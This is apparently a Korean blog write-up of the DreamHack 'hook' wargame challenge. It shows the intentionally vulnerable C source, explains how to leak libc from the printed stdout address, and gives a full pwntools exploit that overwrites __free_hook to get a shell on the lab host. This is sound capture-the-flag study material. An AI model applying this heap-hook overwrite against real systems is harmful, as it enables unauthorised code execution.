본문 바로가기

DreamHack: System Hacking/F Stage 8

hook

소스코드

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

핵심은 *(long *)*ptr = *(ptr+1);이다.

*해석: ptr가 가리키는 값을 long 포인터형으로 형변환->형변환한 주소에 있는 값을 ptr+1 위치에 있는 값으로 대입.

짧게 말하자면 ptr의 값으로 주소를 넣어주면, 이 주소가 가리키는 값을 ptr+1 주소가 가리키는 값으로 바꿔준다는 뜻이다. 이때 ptr은 long 포인터 형이므로 *(ptr+1)은 ptr보다 8byte 위에 있는 주소의 값을 가리키게 되겠다  

 

설계

1. stdout의 주소 출력값을 통해 libc_base, __free_hook, printf의 주소를 구한다
2. read(0, ptr, size)를 통해 ptr에 __free_hook 주소를, ptr+1 위치에 printf() 주소를 넣어서, __free_hook이 printf()를 가리키게 한다.
3. free(ptr) -> printf(ptr)이 되었으니 system("/bin/sh")이 실행되어 shell을 획득하게 된다.

 

exploit(hook.py)

from pwn import *

p = remote('host3.dreamhack.games', 24053)
lib = ELF('./libc-2.23.so')

#### [1] Get Address of Functions ####
p.recvuntil(b'stdout: 0x')
stdout = int(p.recvn(12), 16)
libc_base = stdout - lib.symbols['_IO_2_1_stdout_']
free_hook = libc_base + lib.symbols['__free_hook']
printf = libc_base + lib.symbols['printf']

print('libc_base:', hex(libc_base))
print('__free_hook():', hex(free_hook))
print('printf():', hex(printf))

#### [2] Overwrite __free_hook() ####
p.sendlineafter('Size: ', '16')

payload = p64(free_hook) + p64(printf)
p.sendafter('Data: ', payload)

#### [3] Get Shell ####
p.interactive()

 

주의할 점(libc base 구하기)

stdout의 주소를 elf를 통해 구할 때 symbols['stdout']이 아닌 symbols['_IO_2_1_stdout_']을 해줘야 한다.


C 표준 라이브러리에서 stdout은 FILE 구조체의 포인터로 정의되어 있으며, stdout은 _IO_2_1_stdout_의 주소를 가리키고 있다. printf("stdout: %p\n", stdout);는 stdout의 "값"을 출력한다. 여기서 stdout은 _IO_2_1_stdout_의 주소를 가리키고 있으므로, 실제로는 _IO_2_1_stdout_의 주소가 출력된다. 따라서 출력 결과로 _IO_2_1_stdout_의 주소가 나타나게 된다.

짧게 말하자면, stdout = &_IO_2_1_stdout_이다.


이것 때문에 엄청난 삽질을 했다.

'DreamHack: System Hacking > F Stage 8' 카테고리의 다른 글

oneshot  (0) 2023.07.02
[함께 실습] Hook Overwrite  (0) 2023.06.25
PIE & RELRO  (0) 2023.06.25